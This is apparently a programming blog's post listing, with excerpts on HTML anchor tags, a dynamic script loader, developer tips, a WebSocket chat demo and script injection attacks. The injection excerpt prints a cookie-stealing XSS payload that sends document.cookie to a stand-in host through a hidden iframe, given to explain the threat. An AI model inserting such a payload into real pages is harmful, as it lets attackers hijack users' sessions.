Browsing posts in: Programming

Rants about the HTML anchor tag

Links are probably the most important of all the elements on the Web. Links are what make the Web, a WEB – of interconnected resources. Here are a couple of things you probably didn’t know or may be did, about links, aka anchor tags. Normal text, as the text content in a book is considered to be linear, as information flows from one end to the other there, linearly. HyperText is text that is not linear. HyperText can have an additional dimension, which is the meaning defined by a link. The ability of HTML to have links is why it is called HyperText Markup Language.

the download attribute

The traditional way of prompting file download is by adding a ‘Content-Disposition’ header, which is done at the server side. HTML5 introduces a download attribute to your anchor tag and it will prompt file download of the linked resource when the link is clicked.

<a href="video3482.mp4" download>Download video</a>
Providing a value for the download attribute is optional, but if you provide a value, then the download prompt will have that value as the default filename for the file to be saved.

Later versions of Firefox (v20+) requires that if download attribute is specified, then the value of href must be a resource of the same origin. And, as of now, as you would expect, IE doesn’t support the download attribute yet, but they are planning to.

#top will scroll to the top

HTML5 defines that if the value of href is not a valid element ID in the page, then if the value of href is #top, clicking on the link will scroll to the top of the page.

href stands for hypertext reference

When I first learned html, I found the href attribute hard to remember. It made no sense to me. I read it as h-r-e-f. But later I deduced that it was actually h-ref and then everything made sense. Like everyone, I also assumed that the h stood for hypertext or hyperlink. Well, today I did confirm that h is for hypertext. So href is in fact hypertext reference. Tim Berners-Lee says so.


Load a JavaScript file dynamically and call a function from it

This is how you provide an embed code, which will load a JavaScript file dynamically into the website and call a function from inside the file with externally passed params.

<script>
    (function () {
        var params = {}; // If you want to pass anything, to the called function
        var script = document.createElement("script");
        script.type = "text/javascript";
        if (script.readyState) {
            script.onreadystatechange = function () {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    theFunctionInsideExternalScript(params);
                }
            }
        } else {
            script.onload = function () {
                theFunctionInsideExternalScript(params);
            }
        }
        script.src = "your-external-script-file.js";
        document.getElementsByTagName("head")[0].appendChild(script)
    })();
</script>

12 Things That Would Make You A Better Software Developer

Disclaimer (2017): This post was written a few years ago when I was relatively new to programming, so take with a grain of salt.

12 valuable lessons I learned from my two years experience as a developer. Some are bits I picked up along the way, but some are hard learned tidbits of wisdom I learned from my own mistakes.

The 12 points discussed in the post are the following:-

1. Know your tools
2. Modularize
3. Error messages are your friends
4. Plan, Plan, Plan
5. Maintain predictability in code
6. Write beautiful code
7. Refactor
8. Central location for configuration/settings
9. Push towards automation
10. Keep the comments updated
11. Write jokes in comments
12. Choose the right team

 

1. Know your tools

Programming is no longer just typing code out of the air into your text editor and compiling it after you are done. Programming is more of an interactive process now.

Lots of tools are available now, that can boost developer efficiency. Most programming languages have rich IDE’s with features such as “intellisense”, auto-complete, realtime syntax checking, profiling and debugging assistance, source control integration etc built-in. Knowing these various tools and features are not a must to be a great programmer, but, without a question, better tools can boost your efficiency as one.
Continue Reading


A word on script injection attacks

The scenario

Say your application – whether it is written in NodeJS or PHP or Ruby or whatever – has a form where Joe the User can input data (may be a profile edit page). The data entered by Joe is displayed to other users (Sam and Woody) when they visit Joe’s profile page. This would be a perfectly ok situation if Joe is a nice person, doing an honest days work to earn a living.

The problem

But unfortunately, Joe could be a hacker trying to steal Sam’s digital identity (and/or money). Or, most commonly, Joe could be a zombie looking around for security loopholes for malicious hackers to exploit. Oh, yeah, zombies are real. We call them bots in the digital world.
In any case, our incarnation or evil, Mr. Joe could enter a content like this into his profile update textarea:-

<script>
document.body.innerHTML += '<iframe height="1" width="1" src="http://example.com/save-cookie.php?cookie-data='+encodeURIComponent(document.cookie)+'"></iframe>';
</script>

The above 1 line code is self explanatory. The code, if rendered as it is, will steal the currently logged in person’s (Sam’s) cookies and could send it the malicious hacker Joe. With Sam’s cookie data in hand, Joe can login to the site as Sam and access Sam’s private data or can do things on behalf of Sam.

Continue Reading


‘Realtime’ Chat with WebSocket and NodeJS

Update (2017): This post is outdated and shite. Please look elsewhere for better examples of similar apps. If you insist on seeing the naive code I wrote for the demo, there is a github link in the post.

DEMO (link removed)

(Open the chat in two or more browser windows/computers and check how fast the realtime updation is!)

Gmail chat, Facebook chat etc were implemented using a technique – rather a hack – called long polling[1]. It is the technique where the client initiates a request to the server. The server rather than returning the client with a response, keeps the connection open for a longer time. The server only returns to the client with a response when it (server) has something new for the client. The advantage of long polling over normal polling are reduced latency and saving from the overhead of sending too many short http requests. Continue Reading